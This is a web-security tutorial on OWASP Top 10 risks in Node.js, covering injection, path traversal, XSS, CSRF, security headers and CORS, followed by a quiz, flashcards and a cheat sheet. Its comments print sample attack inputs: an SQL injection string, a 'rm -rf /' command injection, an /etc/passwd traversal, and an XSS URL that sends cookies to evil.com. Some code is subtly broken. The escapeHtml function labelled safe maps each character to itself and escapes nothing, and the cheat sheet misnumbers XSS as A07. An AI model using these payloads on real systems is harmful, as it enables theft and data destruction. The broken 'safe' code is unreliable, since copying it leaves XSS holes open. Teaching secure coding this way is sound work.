OWASP Top 10 and Injection Prevention
OWASP Top 10 and Injection Prevention
The OWASP Top 10 is the standard awareness document for web application security. It represents a broad consensus about the most critical security risks to web applications. Every developer must understand these vulnerabilities to build resilient systems.
SQL Injection
SQL injection occurs when an attacker inserts malicious SQL code into input fields, manipulating the database query to access, modify, or delete data they should not have access to.
// VULNERABLE: string interpolation
const query = `SELECT * FROM users WHERE email = '${email}'`;
// Attacker input: ' OR '1'='1' --
// Resulting query: SELECT * FROM users WHERE email = '' OR '1'='1' --'
// SAFE: parameterized queries with PostgreSQL
const { rows } = await db.query(
'SELECT * FROM users WHERE email = $1',
[email]
);
// SAFE: parameterized queries with MySQL
const [rows] = await pool.execute(
'SELECT * FROM users WHERE email = ?',
[email]
);
// SAFE: ORM with parameterized queries
const user = await prisma.user.findUnique({ where: { email } });
NoSQL Injection
NoSQL injection targets databases like MongoDB, CouchDB, or Cassandra. Attackers manipulate query objects to bypass authentication or extract unauthorized data.
// VULNERABLE: direct use of user input in MongoDB query
const user = await User.findOne({ email: req.body.email });
// Attacker sends: { "$gt": "" } as email value
// Resulting query matches ANY document where email exists
// SAFE: validate and sanitize input types
const { email, password } = loginSchema.parse(req.body);
const user = await User.findOne({ email });
// SAFE: sanitize MongoDB operators recursively
function sanitize(obj) {
if (typeof obj === 'object' && obj !== null) {
Object.keys(obj).forEach(key => {
if (key.startsWith('$')) delete obj[key];
else sanitize(obj[key]);
});
}
return obj;
}
// VULNERABLE: $where with user input
const results = await db.collection('users').find({
$where: `this.email === '${userInput}'`
});
// NEVER use $where with user-controlled strings
Command Injection
Command injection allows attackers to execute arbitrary operating system commands on the server by injecting shell metacharacters into input fields.
// VULNERABLE: direct shell execution
const { exec } = require('child_process');
exec(`convert ${userInput} output.png`);
// Attacker input: "file.png; rm -rf /"
// Executes: convert file.png; rm -rf / output.png
// SAFE: use execFile with array arguments
const { execFile } = require('child_process');\execFile('convert', [userInput, 'output.png'], (err, stdout) => {
if (err) console.error(err);
});
// SAFE: validate input with strict regex
if (!/^[a-zA-Z0-9._-]+$/.test(filename)) {
throw new Error('Invalid filename: only alphanumeric and dashes allowed');
}
// SAFE: use spawn with explicit arguments
const { spawn } = require('child_process');
const child = spawn('ffmpeg', ['-i', sanitizedInput, 'output.mp4']);
Path Traversal
Path traversal attacks attempt to access files outside the intended directory by using sequences like ../ or ..%2f to navigate the filesystem.
// VULNERABLE: unsanitized file path
app.get('/files/:name', (req, res) => {
res.sendFile(path.join('/uploads', req.params.name));
// Attacker input: ../../../etc/passwd
});
// SAFE: normalize and validate path
const fs = require('fs');
const UPLOAD_DIR = '/uploads';
app.get('/files/:name', (req, res) => {
const safePath = path.join(UPLOAD_DIR, path.basename(req.params.name));
const resolved = path.resolve(safePath);
if (!resolved.startsWith(UPLOAD_DIR)) {
return res.status(403).json({ error: 'Access denied' });
}
res.sendFile(resolved);
});
Cross-Site Scripting (XSS) and CSRF Prevention
Cross-Site Scripting (XSS)
XSS vulnerabilities occur when untrusted data is included in HTML output without proper encoding. Attackers can inject malicious scripts that steal credentials, hijack sessions, or deface websites.
Types of XSS
Reflected XSS: Malicious script is reflected off the server via URL parameters, form submissions, or error messages.
// VULNERABLE: server-side rendering with unescaped input
app.get('/search', (req, res) => {
res.send(`<h1>Results for: ${req.query.q}</h1>`);
// Attack URL: /search?q=<script>document.location='https://evil.com/steal?c='+document.cookie</script>
});
// SAFE: output encoding with proper context
function escapeHtml(str) {
const map = {
'&': '&',
'<': '<',
'>': '>',
'"': '"',
"'": '''
};
return str.replace(/[&<>"']/g, c => map[c]);
}
app.get('/search', (req, res) => {
const safeQuery = escapeHtml(req.query.q || '');
res.send(`<h1>Results for: ${safeQuery}</h1>`);
});
Stored XSS: Malicious script is permanently stored on the target server (database, message forum, comment field) and retrieved by other users.
// React auto-escapes JSX content (SAFE)
<p>{userInput}</p>
// DANGEROUS: directly rendering raw HTML
<div dangerouslySetInnerHTML={{ __html: userInput }} />
// SAFE: sanitize with DOMPurify before rendering
import DOMPurify from 'dompurify';
<div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(userInput) }} />
DOM-based XSS: The vulnerability exists in client-side JavaScript that modifies the DOM based on user input.
// VULNERABLE: reading from URL fragment
const name = document.location.hash.substring(1);
document.getElementById('greeting').innerHTML = 'Hello, ' + name;
// SAFE: use textContent instead of innerHTML
const name = decodeURIComponent(document.location.hash.substring(1));
document.getElementById('greeting').textContent = 'Hello, ' + name;
Content Security Policy (CSP)
CSP is a browser mechanism that restricts which resources can be loaded and executed on a page. It is the primary defense against XSS.
// Express.js CSP configuration with Helmet
app.use(helmet.contentSecurityPolicy({
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'"],
styleSrc: ["'self'", "'unsafe-inline'"],
imgSrc: ["'self'", 'data:', 'https:'],
fontSrc: ["'self'", 'https://fonts.gstatic.com'],
connectSrc: ["'self'", 'https://api.example.com'],
frameAncestors: ["'none'"],
formAction: ["'self'"],
upgradeInsecureRequests: []
}
}));
Cross-Site Request Forgery (CSRF)
CSRF attacks trick authenticated users into performing unwanted actions on a different website where they are logged in. The browser automatically attaches cookies, making the forged request appear legitimate.
CSRF Token Pattern
import csrf from 'csurf';
const csrfProtection = csrf({ cookie: true });
app.use(csrfProtection);
// Generate CSRF token for forms
app.get('/transfer', (req, res) => {
res.render('transfer', { csrfToken: req.csrfToken() });
});
// Include token in forms
// <form method="POST" action="/transfer">
// <input type="hidden" name="_csrf" value="{{csrfToken}}">
// <input type="text" name="amount">
// <button type="submit">Send</button>
// </form>
SameSite Cookie Attribute
// Modern CSRF prevention with SameSite cookies
res.cookie('sessionId', token, {
httpOnly: true,
secure: true,
sameSite: 'strict', // or 'lax' for less restrictive
maxAge: 3600000
});
// For cross-origin API requests, use double-submit cookie pattern
const csrfToken = crypto.randomBytes(32).toString('hex');
res.cookie('XSRF-TOKEN', csrfToken, { sameSite: 'strict' });
// Client-side: include token in custom header
fetch('/api/transfer', {
method: 'POST',
headers: { 'X-XSRF-TOKEN': getCookie('XSRF-TOKEN') },
body: JSON.stringify(data)
});
Security Headers and CORS Configuration
Security Headers
Security headers are HTTP response headers that browsers use to enhance security by controlling how content is loaded, rendered, and transmitted. Misconfigured headers can lead to clickjacking, MIME sniffing attacks, and credential theft.
Helmet Configuration
import helmet from 'helmet';
// Apply all default security headers
app.use(helmet());
// Content Security Policy - restrict resource loading
app.use(helmet.contentSecurityPolicy({
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'"],
styleSrc: ["'self'", "'unsafe-inline'"],
imgSrc: ["'self'", 'data:', 'https:'],
fontSrc: ["'self'", 'https://fonts.gstatic.com'],
connectSrc: ["'self'", 'https://api.example.com'],
frameAncestors: ["'none'"],
formAction: ["'self'"],
baseUri: ["'self'"],
objectSrc: ["'none'"],
upgradeInsecureRequests: []
}
}));
// Strict Transport Security - enforce HTTPS
app.use(helmet.hsts({
maxAge: 31536000,
includeSubDomains: true,
preload: true
}));
// Referrer Policy - control referrer information
app.use(helmet.referrerPolicy({
policy: 'strict-origin-when-cross-origin'
}));
// X-Content-Type-Options - prevent MIME sniffing
app.use(helmet.noSniff());
// X-Frame-Options - prevent clickjacking
app.use(helmet.frameguard({ action: 'deny' }));
// Remove X-Powered-By header
app.disable('x-powered-by');
Essential Security Headers Summary
| Header | Purpose | Value |
|---|---|---|
| Content-Security-Policy | Prevents XSS and code injection | Restrictive directives |
| Strict-Transport-Security | Enforces HTTPS | max-age=31536000 |
| X-Content-Type-Options | Prevents MIME sniffing | nosniff |
| X-Frame-Options | Prevents clickjacking | DENY or SAMEORIGIN |
| X-XSS-Protection | Legacy XSS filter | 0 (disable, rely on CSP) |
| Referrer-Policy | Controls referrer leaks | strict-origin-when-cross-origin |
| Permissions-Policy | Restricts browser features | camera=(), microphone=() |
Cross-Origin Resource Sharing (CORS)
CORS is a browser security mechanism that controls how pages from one origin can request resources from a different origin. Properly configuring CORS is critical for API security.
import cors from 'cors';
const allowedOrigins = [
'https://myapp.com',
'https://admin.myapp.com'
];
app.use(cors({
origin: (origin, callback) => {
// Allow requests with no origin (mobile apps, curl)
if (!origin || allowedOrigins.includes(origin)) {
callback(null, true);
} else {
callback(new Error('Not allowed by CORS'));
}
},
methods: ['GET', 'POST', 'PUT', 'PATCH', 'DELETE'],
allowedHeaders: ['Content-Type', 'Authorization', 'X-CSRF-Token'],
exposedHeaders: ['X-Total-Count', 'X-Page-Count'],
credentials: true,
maxAge: 86400,
preflightContinue: false
}));
// Preflight for non-simple requests
app.options('*', cors());
CORS Security Pitfalls
// DANGEROUS: allows any origin
app.use(cors({ origin: true, credentials: true }));
// DANGEROUS: wildcard with credentials
app.use(cors({ origin: '*', credentials: true }));
// SAFE: strict origin allowlist
app.use(cors({
origin: (origin, cb) => {
const whitelist = new Set(['https://app.com', 'https://admin.com']);
cb(null, whitelist.has(origin));
},
credentials: true
}));
Security Audit Checklist
[x] Input validation on all endpoints (server-side)
[x] Parameterized queries for all database operations
[x] Output encoding for all user-generated content
[x] Security headers via Helmet (CSP, HSTS, X-Frame-Options)
[x] CORS properly configured with origin allowlist
[x] HTTPS enforced via HSTS
[x] Rate limiting on authentication endpoints
[x] Password hashing with bcrypt (12+ rounds)
[x] Tokens stored in HttpOnly, Secure, SameSite cookies
[x] Secrets in environment variables, not in code
[x] Error messages do not leak internal details
[x] File upload validation (type, size, filename sanitization)
[x] Dependencies scanned with npm audit
[x] SQL injection protection via parameterized queries
[x] XSS prevention via output encoding
Quiz
1. Which attack allows an attacker to inject malicious scripts into web pages viewed by other users?
2. What is the primary defense against CSRF attacks?
3. Why should you use parameterized queries instead of string concatenation for database operations?
Flashcards
Question
What are the three main types of XSS attacks?
Click to reveal answer
Answer
Reflected XSS (via URL parameters), Stored XSS (persistent in database), and DOM-based XSS (client-side JavaScript manipulation). All require output encoding or DOMPurify for prevention.
Question
What HTTP headers should be configured to secure an Express.js application?
Click to reveal answer
Answer
Content-Security-Policy (XSS), Strict-Transport-Security (HTTPS enforcement), X-Content-Type-Options (MIME sniffing), X-Frame-Options (clickjacking), Referrer-Policy (information leakage), and Permissions-Policy (feature restrictions). Use Helmet.js for easy configuration.
Question
How do you prevent SQL injection in Node.js applications?
Click to reveal answer
Answer
Use parameterized queries (db.query with $1, $2 placeholders for PostgreSQL, ? for MySQL), use ORMs like Prisma that auto-parameterize, never concatenate user input into SQL strings, and validate input types at the application layer.
Revision Notes
Key Takeaways
- 1. OWASP Top 10 is the reference standard for web security — know the categories and their mitigations
- 2. Always use parameterized queries or ORMs to prevent SQL injection — never concatenate user input into SQL
- 3. Prevent XSS by encoding output in the correct context and using CSP headers as a second layer of defense
- 4. CSRF protection requires both tokens and SameSite cookies — do not rely on either alone
- 5. Security headers (CSP, HSTS, X-Frame-Options) should be configured on every production application
- 6. Never allow wildcard CORS origins with credentials — always use a strict allowlist
Interview Tips
- • Explain the difference between reflected, stored, and DOM-based XSS with concrete examples
- • Walk through how a CSRF attack works step by step and explain your mitigation strategy
- • Describe how parameterized queries work at the database level to prevent SQL injection
- • List and explain the purpose of at least 5 HTTP security headers
- • Discuss why CORS cannot be used as a security mechanism for authentication
- • Explain the OWASP Top 10 categories and give a real-world example of each
Cheat Sheet
Web Security Cheat Sheet
OWASP Top 10:
- A01: Broken Access Control — enforce authorization on server
- A02: Cryptographic Failures — use TLS, hash passwords with bcrypt
- A03: Injection — parameterized queries, input validation
- A04: Insecure Design — threat model early
- A05: Security Misconfiguration — use Helmet, disable defaults
- A07: XSS — output encoding, CSP headers
SQL Injection Prevention:
- PostgreSQL: db.query('SELECT * FROM users WHERE id = $1', [id])
- MySQL: pool.execute('SELECT * FROM users WHERE id = ?', [id])
- ORM: prisma.user.findUnique({ where: { id } })
- NEVER:
SELECT * FROM users WHERE id = '${id}'
XSS Prevention:
- Server-side: escapeHtml() before inserting into HTML
- Client-side: use textContent, not innerHTML
- React: auto-escapes JSX, sanitize with DOMPurify for dangerouslySetInnerHTML
- CSP: defaultSrc 'self', scriptSrc 'self'
CSRF Prevention:
- SameSite cookies: sameSite: 'strict' or 'lax'
- CSRF tokens: csurf middleware + hidden form field
- Double-submit: XSRF-TOKEN cookie + X-XSRF-TOKEN header
- Verify Origin/Referer headers on state-changing endpoints
Security Headers:
- Helmet: helmet() applies all defaults
- CSP: helmet.contentSecurityPolicy({ directives: {...} })
- HSTS: helmet.hsts({ maxAge: 31536000 })
- X-Frame-Options: DENY or SAMEORIGIN
CORS:
- Always use an allowlist — never origin: true or '*'
- Enable credentials only for specific origins
- Set maxAge to cache preflight responses
- Restrict methods and headers to what your API needs
Authentication:
- Passwords: bcrypt with 12+ salt rounds
- Tokens: HttpOnly, Secure, SameSite cookies
- Rate limiting: 5 attempts per 15 minutes on login
- Never store secrets in code or version control